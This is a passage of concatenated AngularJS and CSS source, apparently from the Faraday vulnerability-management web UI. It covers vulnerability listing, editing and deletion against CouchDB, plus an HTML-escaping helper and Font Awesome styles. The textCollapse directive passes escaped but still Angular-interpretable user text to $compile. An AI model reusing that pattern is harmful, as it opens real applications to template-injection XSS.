147 old.forEach(function(v) {
148 if(v.selected) {
149 statusReportFact.removeVulns($scope.workspace, v);
150 } else {
151 $scope.vulns.push(v);
152 }
153 });
154 };
155
156 // updates all vulns with selected == true
157 $scope.update = function(data) {
158 $scope.vulns = [];
159
160 data.vulns.forEach(function(v) {
161 if(v.selected) {
162 if(typeof(data.severity) == "string") v.severity = data.severity;
163 if(typeof(data.name) != "undefined") v.name = data.name;
164 if(typeof(data.desc) != "undefined") v.desc = data.desc;
165 if(typeof(data.data) != "undefined") v.data = data.data;
166 if(v.web) {
167 if(typeof(data.method) != "undefined") v.method = data.method;
168 if(typeof(data.params) != "undefined") v.params = data.params;
169 if(typeof(data.path) != "undefined") v.path = data.path;
170 if(typeof(data.pname) != "undefined") v.pname = data.pname;
171 if(typeof(data.query) != "undefined") v.query = data.query;
172 if(typeof(data.request) != "undefined") v.request = data.request;
173 if(typeof(data.response) != "undefined") v.response = data.response;
174 if(typeof(data.website) != "undefined") v.website = data.website;
175 }
176
177 statusReportFact.putVulns($scope.workspace, v, function(rev) {
178 v.rev = rev;
179 });
180 v.selected = false;
181 }
182 $scope.vulns.push(v);
183 });
184 };
185
186 // action triggered from DELETE button
187 $scope.delete = function() {
188 var selected = false;
189 var i = 0;
190
191 $scope.vulns.forEach(function(v) {
192 if(v.selected) {
193 selected = true;
194 i++;
195 }
196 });
197
198 if(selected) {
199 var modal = $modal.open({
200 templateUrl: 'scripts/partials/modal-delete.html',
201 controller: 'modalDeleteCtrl',
202 size: 'lg',
203 resolve: {
204 amount: function() {
205 return i;
206 }
207 }
208 });
209
210 modal.result.then(function() {
211 $scope.remove();
212 });
213 } else {
214 var modal = $modal.open({
215 templateUrl: 'scripts/partials/modal-ko.html',
216 controller: 'modalKoCtrl',
217 resolve: {
218 msg: function() {
219 return 'No vulnerabilities were selected to delete';
220 }
221 }
222 });
223 }
224 };
225
226 // action triggered from EDIT button
227 $scope.edit = function() {
228 var selected = false;
229
230 $scope.vulns.forEach(function(v) {
231 if(v.selected) selected = true;
232 });
233
234 if(selected) {
235 var modal = $modal.open({
236 templateUrl: 'scripts/partials/modal-edit.html',
237 controller: 'modalEditCtrl',
238 size: 'lg',
239 resolve: {
240 severities: function() {
241 return $scope.severities;
242 },
243 vulns: function() {
244 return $scope.vulns;
245 }
246 }
247 });
248
249 modal.result.then(function(data) {
250 $scope.update(data);
251 });
252 } else {
253 var modal = $modal.open({
254 templateUrl: 'scripts/partials/modal-ko.html',
255 controller: 'modalKoCtrl',
256 resolve: {
257 msg: function() {
258 return 'At least one vulnerabilty must be selected in order to edit';
259 }
260 }
261 });
262 }
263 };
264
265 $scope.insert = function(vuln){
266 statusReportFact.putVulns($scope.workspace, vuln, function(rev) {
267 vuln.rev = rev;
268 });
269 //formating the date
270 var d = new Date(0);
271 d.setUTCSeconds(vuln.date);
272 d = d.getDate() + "/" + (d.getMonth()+1) + "/" + d.getFullYear();
273 vuln.date = d;
274 $scope.vulns.push(vuln);
275 }
276
277 $scope.new = function(){
278 var modal = $modal.open({
279 templateUrl: 'scripts/partials/modal-new.html',
280 controller: 'modalNewCtrl',
281 size: 'lg',
282 resolve: {
283 severities: function() {
284 return $scope.severities;
285 },
286 workspace: function() {
287 return $scope.workspace;
288 }
289 }
290 });
291
292 modal.result.then(function(data) {
293 $scope.insert(data);
294 });
295 };
296
297 $scope.checkAll = function() {
298 if(!$scope.selectall) {
299 $scope.selectall = true;
300 } else {
301 $scope.selectall = false;
302 }
303
304 angular.forEach($filter('filter')($scope.vulns, $scope.query), function(v) {
305 v.selected = $scope.selectall;
306 });
307 };
308 }]);
0 angular.module('faradayApp')
1 .directive('textCollapse', ['$compile', 'commons', function($compile, commons) {
2 return {
3 restrict: 'A',
4 replace: true,
5 link: function(scope, element, attrs) {
6 // start collapsed
7 scope.collapsed = false;
8
9 // create the function to toggle the collapse
10 scope.toggle = function() {
11 scope.collapsed = !scope.collapsed;
12 };
13
14 // wait for changes on the text
15 attrs.$observe('textCollapseText', function(text) {
16 // escape text
17 text = commons.htmlentities(text);
18
19 // and get the maxLength
20 var maxLength = scope.$eval(attrs.textCollapseMaxLength);
21
22 if(text.length > maxLength) {
23 // split the text in two parts, the first always showing
24 var firstPart = String(text).substring(0, maxLength);
25 var secondPart = String(text).substring(maxLength, text.length);
26
27 // create some new html elements to hold the separate info
28 var firstSpan = $compile('<span>' + firstPart + '</span>')(scope);
29 var secondSpan = $compile('<span ng-if="collapsed">' + secondPart + '</span>')(scope);
30 var moreIndicatorSpan = $compile('<span ng-if="!collapsed">...</span>')(scope);
31 var toggleButton = $compile('<span selection-model-ignore class="collapse-text-toggle" ng-click="toggle()"> <a href="" selection-model-ignore>{{collapsed ? "less" : "more"}}</a></span>')(scope);
32
33 // remove the current contents of the element
34 // and add the new ones we created
35 element.empty();
36 element.append(firstSpan);
37 element.append(secondSpan);
38 element.append(moreIndicatorSpan);
39 element.append(toggleButton);
40 } else {
41 element.empty();
42 element.append(text);
43 }
44 });
45 }
46 };
47 }]);
0 angular.module('faradayApp')
1 .factory('commons', function() {
2 var commons = {};
3
4 commons.htmlentities = function(string, quote_style, charset, double_encode) {
5 var hash_map = commons.translationtable('HTML_ENTITIES', quote_style), symbol = '';
6 string = string == null ? '' : string + '';
7
8 if (!hash_map) {
9 return false;
10 }
11
12 if (quote_style && quote_style === 'ENT_QUOTES') {
13 hash_map["'"] = '&#039;';
14 }
15
16 if ( !! double_encode || double_encode == null) {
17 for (symbol in hash_map) {
18 if (hash_map.hasOwnProperty(symbol)) {
19 string = string.split(symbol)
20 .join(hash_map[symbol]);
21 }
22 }
23 } else {
24 string = string.replace(/([\s\S]*?)(&(?:#\d+|#x[\da-f]+|[a-zA-Z][\da-z]*);|$)/g, function (ignore, text, entity) {
25 for (symbol in hash_map) {
26 if (hash_map.hasOwnProperty(symbol)) {
27 text = text.split(symbol)
28 .join(hash_map[symbol]);
29 }
30 }
31 return text + entity;
32 });
33 }
34 return string;
35 };
36
37 commons.translationtable = function(table, quote_style) {
38 var entities = {},
39 hash_map = {},
40 decimal;
41 var constMappingTable = {},
42 constMappingQuoteStyle = {};
43 var useTable = {},
44 useQuoteStyle = {};
45
46 // Translate arguments
47 constMappingTable[0] = 'HTML_SPECIALCHARS';
48 constMappingTable[1] = 'HTML_ENTITIES';
49 constMappingQuoteStyle[0] = 'ENT_NOQUOTES';
50 constMappingQuoteStyle[2] = 'ENT_COMPAT';
51 constMappingQuoteStyle[3] = 'ENT_QUOTES';
52
53 useTable = !isNaN(table) ? constMappingTable[table] : table ? table.toUpperCase() : 'HTML_SPECIALCHARS';
54 useQuoteStyle = !isNaN(quote_style) ? constMappingQuoteStyle[quote_style] : quote_style ? quote_style.toUpperCase() :
55 'ENT_COMPAT';
56
57 if (useTable !== 'HTML_SPECIALCHARS' && useTable !== 'HTML_ENTITIES') {
58 throw new Error('Table: ' + useTable + ' not supported');
59 }
60
61 entities['38'] = '&amp;';
62 if (useTable === 'HTML_ENTITIES') {
63 entities['160'] = '&nbsp;';
64 entities['161'] = '&iexcl;';
65 entities['162'] = '&cent;';
66 entities['163'] = '&pound;';
67 entities['164'] = '&curren;';
68 entities['165'] = '&yen;';
69 entities['166'] = '&brvbar;';
70 entities['167'] = '&sect;';
71 entities['168'] = '&uml;';
72 entities['169'] = '&copy;';
73 entities['170'] = '&ordf;';
74 entities['171'] = '&laquo;';
75 entities['172'] = '&not;';
76 entities['173'] = '&shy;';
77 entities['174'] = '&reg;';
78 entities['175'] = '&macr;';
79 entities['176'] = '&deg;';
80 entities['177'] = '&plusmn;';
81 entities['178'] = '&sup2;';
82 entities['179'] = '&sup3;';
83 entities['180'] = '&acute;';
84 entities['181'] = '&micro;';
85 entities['182'] = '&para;';
86 entities['183'] = '&middot;';
87 entities['184'] = '&cedil;';
88 entities['185'] = '&sup1;';
89 entities['186'] = '&ordm;';
90 entities['187'] = '&raquo;';
91 entities['188'] = '&frac14;';
92 entities['189'] = '&frac12;';
93 entities['190'] = '&frac34;';
94 entities['191'] = '&iquest;';
95 entities['192'] = '&Agrave;';
96 entities['193'] = '&Aacute;';
97 entities['194'] = '&Acirc;';
98 entities['195'] = '&Atilde;';
99 entities['196'] = '&Auml;';
100 entities['197'] = '&Aring;';
101 entities['198'] = '&AElig;';
102 entities['199'] = '&Ccedil;';
103 entities['200'] = '&Egrave;';
104 entities['201'] = '&Eacute;';
105 entities['202'] = '&Ecirc;';
106 entities['203'] = '&Euml;';
107 entities['204'] = '&Igrave;';
108 entities['205'] = '&Iacute;';
109 entities['206'] = '&Icirc;';
110 entities['207'] = '&Iuml;';
111 entities['208'] = '&ETH;';
112 entities['209'] = '&Ntilde;';
113 entities['210'] = '&Ograve;';
114 entities['211'] = '&Oacute;';
115 entities['212'] = '&Ocirc;';
116 entities['213'] = '&Otilde;';
117 entities['214'] = '&Ouml;';
118 entities['215'] = '&times;';
119 entities['216'] = '&Oslash;';
120 entities['217'] = '&Ugrave;';
121 entities['218'] = '&Uacute;';
122 entities['219'] = '&Ucirc;';
123 entities['220'] = '&Uuml;';
124 entities['221'] = '&Yacute;';
125 entities['222'] = '&THORN;';
126 entities['223'] = '&szlig;';
127 entities['224'] = '&agrave;';
128 entities['225'] = '&aacute;';
129 entities['226'] = '&acirc;';
130 entities['227'] = '&atilde;';
131 entities['228'] = '&auml;';
132 entities['229'] = '&aring;';
133 entities['230'] = '&aelig;';
134 entities['231'] = '&ccedil;';
135 entities['232'] = '&egrave;';
136 entities['233'] = '&eacute;';
137 entities['234'] = '&ecirc;';
138 entities['235'] = '&euml;';
139 entities['236'] = '&igrave;';
140 entities['237'] = '&iacute;';
141 entities['238'] = '&icirc;';
142 entities['239'] = '&iuml;';
143 entities['240'] = '&eth;';
144 entities['241'] = '&ntilde;';
145 entities['242'] = '&ograve;';
146 entities['243'] = '&oacute;';
147 entities['244'] = '&ocirc;';
148 entities['245'] = '&otilde;';
149 entities['246'] = '&ouml;';
150 entities['247'] = '&divide;';
151 entities['248'] = '&oslash;';
152 entities['249'] = '&ugrave;';
153 entities['250'] = '&uacute;';
154 entities['251'] = '&ucirc;';
155 entities['252'] = '&uuml;';
156 entities['253'] = '&yacute;';
157 entities['254'] = '&thorn;';
158 entities['255'] = '&yuml;';
159 }
160
161 if (useQuoteStyle !== 'ENT_NOQUOTES') {
162 entities['34'] = '&quot;';
163 }
164 if (useQuoteStyle === 'ENT_QUOTES') {
165 entities['39'] = '&#39;';
166 }
167 entities['60'] = '&lt;';
168 entities['62'] = '&gt;';
169
170 // ascii decimals to real symbols
171 for (decimal in entities) {
172 if (entities.hasOwnProperty(decimal)) {
173 hash_map[String.fromCharCode(decimal)] = entities[decimal];
174 }
175 }
176
177 return hash_map;
178 }
179
180 return commons;
181 });
0 angular.module('faradayApp')
1 .factory('statusReportFact', ['vulnsFact', 'vulnsWebFact', 'hostsFact', 'workspacesFact', function(vulnsFact, vulnsWebFact, hostsFact, wsFact) {
2 var statusReportFact = {};
3
4 statusReportFact.getVulns = function(ws) {
5 var vulns = vulnsFact.get(ws);
6 var vulnsWeb = vulnsWebFact.get(ws);
7 var hosts = hostsFact.get(ws);
8 vulns.forEach(function(element, index, array) {
9 element.target = hosts[element.parent].name;
10 });
11 vulnsWeb.forEach(function(element, index, array) {
12 element.target = hosts[element.parent].name;
13 });
14 return vulnsWeb.concat(vulns);
15 };
16
17 statusReportFact.putVulns = function(ws, vuln, callback) {
18 if(vuln.web) {
19 vulnsWebFact.put(ws, vuln, callback);
20 } else {
21 vulnsFact.put(ws, vuln, callback);
22 }
23 };
24
25 statusReportFact.removeVulns = function(ws, vuln) {
26 vulnsFact.remove(ws, vuln);
27 };
28
29 statusReportFact.getWorkspaces = function(callback) {
30 wsFact.get(callback);
31 };
32
33 return statusReportFact;
34 }]);
0 angular.module('faradayApp')
1 .factory('targetFact', ['BASEURL', '$http', function(BASEURL, $http) {
2 var targetFact = {};
3
4 targetFact.getTarget = function(ws, need_hosts) {
5 if(need_hosts){
6 var hosts = [];
7 var url = BASEURL + ws + "/_design/hosts/_view/hosts";
8 $.getJSON(url, function(data) {
9 $.each(data.rows, function(n, obj) {
10 obj.value._id = obj.id;
11 hosts.push(obj.value);
12 });
13 });
14 return hosts;
15 }else{
16 var services = [];
17 var url = BASEURL + ws + "/_design/services/_view/byhost";
18 $.getJSON(url, function(data) {
19 $.each(data.rows, function(n, obj) {
20 obj.value._id = obj.id;
21 services.push(obj.value);
22 });
23 });
24 return services;
25 }
26 };
27
28 return targetFact;
29 }]);
0 angular.module('faradayApp')
1 .factory('vulnsFact', ['BASEURL', '$http', function(BASEURL, $http) {
2 var vulnsFact = {};
3
4 vulnsFact.get = function(ws) {
5 var vulns = [];
6 vulns_url = BASEURL + ws +"/_design/vulns/_view/vulns";
7 // gets vulns json from couch
8 $.getJSON(vulns_url, function(data) {
9 $.each(data.rows, function(n, obj){
10 var d = new Date(0);
11 d.setUTCSeconds(obj.value.date);
12 d = d.getDate() + "/" + (d.getMonth() + 1) + "/" + d.getFullYear();
13 var v = {
14 "id": obj.id,
15 "rev": obj.value.rev,
16 "couch_parent": obj.value.parent,
17 "data": obj.value.data,
18 "date": d,
19 "delete": false,
20 "desc": obj.value.desc,
21 "meta": obj.value.meta,
22 "name": obj.value.name,
23 "oid": obj.value.oid,
24 "owned": obj.value.owned,
25 "owner": obj.value.owner,
26 "parent": obj.key.substring(0, obj.key.indexOf('.')),
27 "refs": obj.value.refs,
28 "selected": false,
29 "severity": obj.value.severity,
30 "type": obj.value.type,
31 "web": false
32 };
33 vulns.push(v);
34 });
35 });
36 return vulns;
37 }
38
39 vulnsFact.put = function(ws, vuln, callback) {
40 var url = BASEURL + ws + "/" + vuln.id;
41 var v = {
42 "_rev": vuln.rev,
43 "data": vuln.data,
44 "desc": vuln.desc,
45 "metadata": vuln.meta,
46 "name": vuln.name,
47 "obj_id": vuln.oid,
48 "owned": vuln.owned,
49 "owner": vuln.owner,
50 "parent": vuln.couch_parent,
51 "refs": vuln.refs,
52 "severity": vuln.severity,
53 "type": vuln.type
54 };
55 $http.put(url, v).success(function(d, s, h, c) {
56 callback(d.rev);
57 });
58 };
59
60 vulnsFact.remove = function(ws, vuln) {
61 var url = BASEURL + ws + "/" + vuln.id + "?rev=" + vuln.rev;
62 $http.delete(url).success(function(d, s, h, c) {});
63 };
64
65 return vulnsFact;
66 }]);
0 angular.module('faradayApp')
1 .factory('vulnsWebFact', ['BASEURL', '$http', function(BASEURL, $http) {
2 var vulnsWebFact = {};
3
4 vulnsWebFact.get = function(ws) {
5 var vulns = [];
6 vulns_url = BASEURL + ws +"/_design/vulns/_view/web";
7 // gets vulns json from couch
8 $.getJSON(vulns_url, function(data) {
9 $.each(data.rows, function(n, obj){
10 var d = new Date(0);
11 d.setUTCSeconds(obj.value.date);
12 d = d.getDate() + "/" + (d.getMonth() + 1) + "/" + d.getFullYear();
13 var v = {
14 "id": obj.id,
15 "rev": obj.value.rev,
16 "couch_parent": obj.value.parent,
17 "data": obj.value.data,
18 "date": d,
19 "delete": false,
20 "desc": obj.value.desc,
21 "meta": obj.value.meta,
22 "name": obj.value.name,
23 "oid": obj.value.oid,
24 "owned": obj.value.owned,
25 "owner": obj.value.owner,
26 "parent": obj.key.substring(0, obj.key.indexOf('.')),
27 "refs": obj.value.refs,
28 "selected": false,
29 "severity": obj.value.severity,
30 "type": obj.value.type,
31 "web": true,
32 /*** specific fields of web vulns ***/
33 "method": obj.value.method,
34 "params": obj.value.params,
35 "path": obj.value.path,
36 "pname": obj.value.pname,
37 "query": obj.value.query,
38 "request": obj.value.request,
39 "response": obj.value.response,
40 "website": obj.value.website
41 };
42 vulns.push(v);
43 });
44 });
45 return vulns;
46 }
47
48 vulnsWebFact.put = function(ws, vuln, callback) {
49 var url = BASEURL + ws + "/" + vuln.id;
50 var v = {
51 "_rev": vuln.rev,
52 "data": vuln.data,
53 "desc": vuln.desc,
54 "metadata": vuln.meta,
55 "name": vuln.name,
56 "obj_id": vuln.oid,
57 "owned": vuln.owned,
58 "owner": vuln.owner,
59 "parent": vuln.couch_parent,
60 "refs": vuln.refs,
61 "severity": vuln.severity,
62 "type": vuln.type,
63 /*** specific fields of web vulns ***/
64 "method": vuln.method,
65 "params": vuln.params,
66 "path": vuln.path,
67 "pname": vuln.pname,
68 "query": vuln.query,
69 "request": vuln.request,
70 "response": vuln.response,
71 "website": vuln.website
72 };
73 $http.put(url, v).success(function(d, s, h, c) {
74 callback(d.rev);
75 });
76 };
77
78 vulnsWebFact.remove = function(ws, vuln) {
79 var url = BASEURL + ws + "/" + vuln.id + "?rev=" + vuln.rev;
80 $http.delete(url).success(function(d, s, h, c) {});
81 };
82
83 return vulnsWebFact;
84 }]);
0 angular.module('faradayApp')
1 .controller('workspacesCtrl', ['$scope', 'workspacesFact', function($scope, workspacesFact) {
2 workspacesFact.get(function(wss) {
3 $scope.wss = wss;
4 });
5 }]);
0 angular.module('faradayApp')
1 .factory('workspacesFact', ['BASEURL', '$http', function(BASEURL, $http) {
2 var workspacesFact = {};
3
4 workspacesFact.get = function(callback) {
5
6 var url = BASEURL + "_all_dbs";
7 $http.get(url).success(function(d, s, h, c) {
8 var wss = d.filter(function(ws) {
9 return ws.search(/^_/) < 0 && ws.search("reports") < 0;
10 });
11 callback(wss);
12 });
13 };
14
15 return workspacesFact;
16 }]);
0 body {
1 font-family: 'Open Sans', sans-serif;
2 font-size: 12px;
3 font-weight: 400;
4 background-color: #fff;
5 width: 960px;
6 height: 700px;
7 margin-top: 10px;
8 }
9
10 #main {
11 float: left;
12 width: 750px;
13 }
14
15 #sidebar {
16 float: right;
17 width: 100px;
18 }
19
20 #sequence {
21 width: 600px;
22 height: 70px;
23 }
24
25 #legend {
26 padding: 10px 0 0 3px;
27 }
28
29 #sequence text, #legend text {
30 font-weight: 600;
31 fill: #fff;
32 }
33
34 #chart {
35 position: relative;
36 }
37
38 #chart path {
39 stroke: #fff;
40 }
41
42 #explanation {
43 position: absolute;
44 top: 260px;
45 left: 305px;
46 width: 140px;
47 text-align: center;
48 color: #666;
49 z-index: -1;
50 }
51
52 #percentage {
53 font-size: 2.5em;
54 }
0 /*!
1 * Font Awesome 4.2.0 by @davegandy - http://fontawesome.io - @fontawesome
2 * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
3 */
4 /* FONT PATH
5 * -------------------------- */
6 @font-face {
7 font-family: 'FontAwesome';
8 src: url('../fonts/font-awesome/fontawesome-webfont.eot?v=4.2.0');
9 src: url('../fonts/font-awesome/fontawesome-webfont.eot?#iefix&v=4.2.0') format('embedded-opentype'), url('../fonts/font-awesome/fontawesome-webfont.woff?v=4.2.0') format('woff'), url('../fonts/font-awesome/fontawesome-webfont.ttf?v=4.2.0') format('truetype'), url('../fonts/font-awesome/fontawesome-webfont.svg?v=4.2.0#fontawesomeregular') format('svg');
10 font-weight: normal;
11 font-style: normal;
12 }
13 .fa {
14 display: inline-block;
15 font: normal normal normal 14px/1 FontAwesome;
16 font-size: inherit;
17 text-rendering: auto;
18 -webkit-font-smoothing: antialiased;
19 -moz-osx-font-smoothing: grayscale;
20 }
21 /* makes the font 33% larger relative to the icon container */
22 .fa-lg {
23 font-size: 1.33333333em;
24 line-height: 0.75em;
25 vertical-align: -15%;
26 }
27 .fa-2x {
28 font-size: 2em;
29 }
30 .fa-3x {
31 font-size: 3em;
32 }
33 .fa-4x {
34 font-size: 4em;
35 }
36 .fa-5x {
37 font-size: 5em;
38 }
39 .fa-fw {
40 width: 1.28571429em;
41 text-align: center;
42 }
43 .fa-ul {
44 padding-left: 0;
45 margin-left: 2.14285714em;
46 list-style-type: none;
47 }
48 .fa-ul > li {
49 position: relative;
50 }
51 .fa-li {
52 position: absolute;
53 left: -2.14285714em;
54 width: 2.14285714em;
55 top: 0.14285714em;
56 text-align: center;
57 }
58 .fa-li.fa-lg {
59 left: -1.85714286em;
60 }
61 .fa-border {
62 padding: .2em .25em .15em;
63 border: solid 0.08em #eeeeee;
64 border-radius: .1em;
65 }
66 .pull-right {
67 float: right;
68 }
69 .pull-left {
70 float: left;
71 }
72 .fa.pull-left {
73 margin-right: .3em;
74 }
75 .fa.pull-right {
76 margin-left: .3em;
77 }
78 .fa-spin {
79 -webkit-animation: fa-spin 2s infinite linear;
80 animation: fa-spin 2s infinite linear;
81 }
82 @-webkit-keyframes fa-spin {
83 0% {
84 -webkit-transform: rotate(0deg);
85 transform: rotate(0deg);
86 }
87 100% {
88 -webkit-transform: rotate(359deg);
89 transform: rotate(359deg);
90 }
91 }
92 @keyframes fa-spin {
93 0% {
94 -webkit-transform: rotate(0deg);
95 transform: rotate(0deg);
96 }
97 100% {
98 -webkit-transform: rotate(359deg);
99 transform: rotate(359deg);
100 }
101 }
102 .fa-rotate-90 {
103 filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=1);
104 -webkit-transform: rotate(90deg);
105 -ms-transform: rotate(90deg);
106 transform: rotate(90deg);
107 }
108 .fa-rotate-180 {
109 filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=2);
110 -webkit-transform: rotate(180deg);
111 -ms-transform: rotate(180deg);
112 transform: rotate(180deg);
113 }
114 .fa-rotate-270 {
115 filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=3);
116 -webkit-transform: rotate(270deg);
117 -ms-transform: rotate(270deg);
118 transform: rotate(270deg);
119 }
120 .fa-flip-horizontal {
121 filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1);
122 -webkit-transform: scale(-1, 1);
123 -ms-transform: scale(-1, 1);
124 transform: scale(-1, 1);
125 }
126 .fa-flip-vertical {
127 filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1);
128 -webkit-transform: scale(1, -1);
129 -ms-transform: scale(1, -1);
130 transform: scale(1, -1);
131 }
132 :root .fa-rotate-90,
133 :root .fa-rotate-180,
134 :root .fa-rotate-270,
135 :root .fa-flip-horizontal,
136 :root .fa-flip-vertical {
137 filter: none;
138 }
139 .fa-stack {
140 position: relative;
141 display: inline-block;
142 width: 2em;
143 height: 2em;
144 line-height: 2em;
145 vertical-align: middle;
146 }
147 .fa-stack-1x,
148 .fa-stack-2x {
149 position: absolute;
150 left: 0;
151 width: 100%;
152 text-align: center;
153 }
154 .fa-stack-1x {
155 line-height: inherit;
156 }
157 .fa-stack-2x {
158 font-size: 2em;
159 }
160 .fa-inverse {
161 color: #ffffff;
162 }
163 /* Font Awesome uses the Unicode Private Use Area (PUA) to ensure screen
164 readers do not read off random characters that represent icons */
165 .fa-glass:before {
166 content: "\f000";
167 }
168 .fa-music:before {
169 content: "\f001";
170 }
171 .fa-search:before {
172 content: "\f002";
173 }
174 .fa-envelope-o:before {
175 content: "\f003";
176 }
177 .fa-heart:before {
178 content: "\f004";
179 }
180 .fa-star:before {
181 content: "\f005";
182 }
183 .fa-star-o:before {
184 content: "\f006";
185 }
186 .fa-user:before {
187 content: "\f007";
188 }
189 .fa-film:before {
190 content: "\f008";
191 }
192 .fa-th-large:before {
193 content: "\f009";
194 }
195 .fa-th:before {
196 content: "\f00a";
197 }
198 .fa-th-list:before {
199 content: "\f00b";
200 }
201 .fa-check:before {
202 content: "\f00c";
203 }
204 .fa-remove:before,
205 .fa-close:before,
206 .fa-times:before {
207 content: "\f00d";
208 }
209 .fa-search-plus:before {
210 content: "\f00e";
211 }
212 .fa-search-minus:before {
213 content: "\f010";
214 }
215 .fa-power-off:before {
216 content: "\f011";
217 }
218 .fa-signal:before {
219 content: "\f012";
220 }
221 .fa-gear:before,
222 .fa-cog:before {
223 content: "\f013";
224 }
225 .fa-trash-o:before {
226 content: "\f014";
227 }
228 .fa-home:before {
229 content: "\f015";
230 }
231 .fa-file-o:before {
232 content: "\f016";
233 }
234 .fa-clock-o:before {
235 content: "\f017";
236 }
237 .fa-road:before {
238 content: "\f018";
239 }
240 .fa-download:before {
241 content: "\f019";
242 }
243 .fa-arrow-circle-o-down:before {
244 content: "\f01a";
245 }
246 .fa-arrow-circle-o-up:before {
247 content: "\f01b";
248 }
249 .fa-inbox:before {
250 content: "\f01c";
251 }
252 .fa-play-circle-o:before {
253 content: "\f01d";
254 }
255 .fa-rotate-right:before,
256 .fa-repeat:before {
257 content: "\f01e";
258 }
259 .fa-refresh:before {
260 content: "\f021";
261 }
262 .fa-list-alt:before {
263 content: "\f022";
264 }
265 .fa-lock:before {
266 content: "\f023";
267 }
268 .fa-flag:before {
269 content: "\f024";
270 }
271 .fa-headphones:before {
272 content: "\f025";
273 }
274 .fa-volume-off:before {
275 content: "\f026";
276 }
277 .fa-volume-down:before {
278 content: "\f027";
279 }
280 .fa-volume-up:before {
281 content: "\f028";
282 }
283 .fa-qrcode:before {
284 content: "\f029";
285 }
286 .fa-barcode:before {
287 content: "\f02a";
288 }
289 .fa-tag:before {
290 content: "\f02b";
291 }
292 .fa-tags:before {
293 content: "\f02c";
294 }
295 .fa-book:before {
296 content: "\f02d";
297 }
298 .fa-bookmark:before {
299 content: "\f02e";
300 }
301 .fa-print:before {
302 content: "\f02f";
303 }
304 .fa-camera:before {
305 content: "\f030";
306 }
307 .fa-font:before {
308 content: "\f031";
309 }
310 .fa-bold:before {
311 content: "\f032";
312 }
313 .fa-italic:before {
314 content: "\f033";
315 }
316 .fa-text-height:before {
317 content: "\f034";
318 }
319 .fa-text-width:before {
320 content: "\f035";
321 }
322 .fa-align-left:before {
323 content: "\f036";
324 }
325 .fa-align-center:before {
326 content: "\f037";
327 }
328 .fa-align-right:before {
329 content: "\f038";
330 }
331 .fa-align-justify:before {
332 content: "\f039";
333 }
334 .fa-list:before {
335 content: "\f03a";
336 }
337 .fa-dedent:before,
338 .fa-outdent:before {
339 content: "\f03b";
340 }
341 .fa-indent:before {
342 content: "\f03c";
343 }
344 .fa-video-camera:before {
345 content: "\f03d";
346 }
347 .fa-photo:before,
348 .fa-image:before,
349 .fa-picture-o:before {
350 content: "\f03e";
351 }
352 .fa-pencil:before {
353 content: "\f040";
354 }
355 .fa-map-marker:before {
356 content: "\f041";
357 }
358 .fa-adjust:before {
359 content: "\f042";
360 }
361 .fa-tint:before {
362 content: "\f043";
363 }
364 .fa-edit:before,
365 .fa-pencil-square-o:before {
366 content: "\f044";
367 }
368 .fa-share-square-o:before {
369 content: "\f045";
370 }
371 .fa-check-square-o:before {
372 content: "\f046";
373 }
374 .fa-arrows:before {
375 content: "\f047";
376 }
377 .fa-step-backward:before {
378 content: "\f048";
379 }
380 .fa-fast-backward:before {
381 content: "\f049";
382 }
383 .fa-backward:before {
384 content: "\f04a";
385 }
386 .fa-play:before {
387 content: "\f04b";
388 }
389 .fa-pause:before {
390 content: "\f04c";
391 }
392 .fa-stop:before {
393 content: "\f04d";
394 }
395 .fa-forward:before {
396 content: "\f04e";
397 }
398 .fa-fast-forward:before {
399 content: "\f050";
400 }
401 .fa-step-forward:before {
402 content: "\f051";
403 }
404 .fa-eject:before {
405 content: "\f052";
406 }
407 .fa-chevron-left:before {
408 content: "\f053";
409 }
410 .fa-chevron-right:before {
411 content: "\f054";
412 }
413 .fa-plus-circle:before {
414 content: "\f055";
415 }
416 .fa-minus-circle:before {
417 content: "\f056";
418 }
419 .fa-times-circle:before {
420 content: "\f057";
421 }
422 .fa-check-circle:before {
423 content: "\f058";
424 }
425 .fa-question-circle:before {
426 content: "\f059";
427 }
428 .fa-info-circle:before {
429 content: "\f05a";
430 }
431 .fa-crosshairs:before {
432 content: "\f05b";
433 }
434 .fa-times-circle-o:before {
435 content: "\f05c";
436 }
437 .fa-check-circle-o:before {
438 content: "\f05d";
439 }
440 .fa-ban:before {
441 content: "\f05e";
442 }
443 .fa-arrow-left:before {
444 content: "\f060";
445 }
446 .fa-arrow-right:before {
447 content: "\f061";
448 }
449 .fa-arrow-up:before {
450 content: "\f062";
451 }
452 .fa-arrow-down:before {
453 content: "\f063";
454 }
455 .fa-mail-forward:before,
456 .fa-share:before {
457 content: "\f064";
458 }
459 .fa-expand:before {
460 content: "\f065";
461 }
462 .fa-compress:before {
463 content: "\f066";
464 }
465 .fa-plus:before {
466 content: "\f067";
467 }
468 .fa-minus:before {
469 content: "\f068";
470 }
471 .fa-asterisk:before {
472 content: "\f069";
473 }
474 .fa-exclamation-circle:before {
475 content: "\f06a";
476 }
477 .fa-gift:before {
478 content: "\f06b";
479 }
480 .fa-leaf:before {
481 content: "\f06c";
482 }
483 .fa-fire:before {
484 content: "\f06d";
485 }
486 .fa-eye:before {
487 content: "\f06e";
488 }
489 .fa-eye-slash:before {
490 content: "\f070";
491 }
492 .fa-warning:before,
493 .fa-exclamation-triangle:before {
494 content: "\f071";
495 }
496 .fa-plane:before {
497 content: "\f072";
498 }
499 .fa-calendar:before {
500 content: "\f073";
501 }
502 .fa-random:before {
503 content: "\f074";
504 }
505 .fa-comment:before {
506 content: "\f075";
507 }
508 .fa-magnet:before {
509 content: "\f076";
510 }
511 .fa-chevron-up:before {
512 content: "\f077";
513 }
514 .fa-chevron-down:before {
515 content: "\f078";
516 }
517 .fa-retweet:before {
518 content: "\f079";
519 }
520 .fa-shopping-cart:before {
521 content: "\f07a";
522 }
523 .fa-folder:before {
524 content: "\f07b";
525 }
526 .fa-folder-open:before {
527 content: "\f07c";
528 }
529 .fa-arrows-v:before {
530 content: "\f07d";
531 }
532 .fa-arrows-h:before {
533 content: "\f07e";
534 }
535 .fa-bar-chart-o:before,
536 .fa-bar-chart:before {
537 content: "\f080";
538 }
539 .fa-twitter-square:before {
540 content: "\f081";
541 }
542 .fa-facebook-square:before {
543 content: "\f082";
544 }
545 .fa-camera-retro:before {
546 content: "\f083";
547 }
548 .fa-key:before {
549 content: "\f084";
550 }
551 .fa-gears:before,
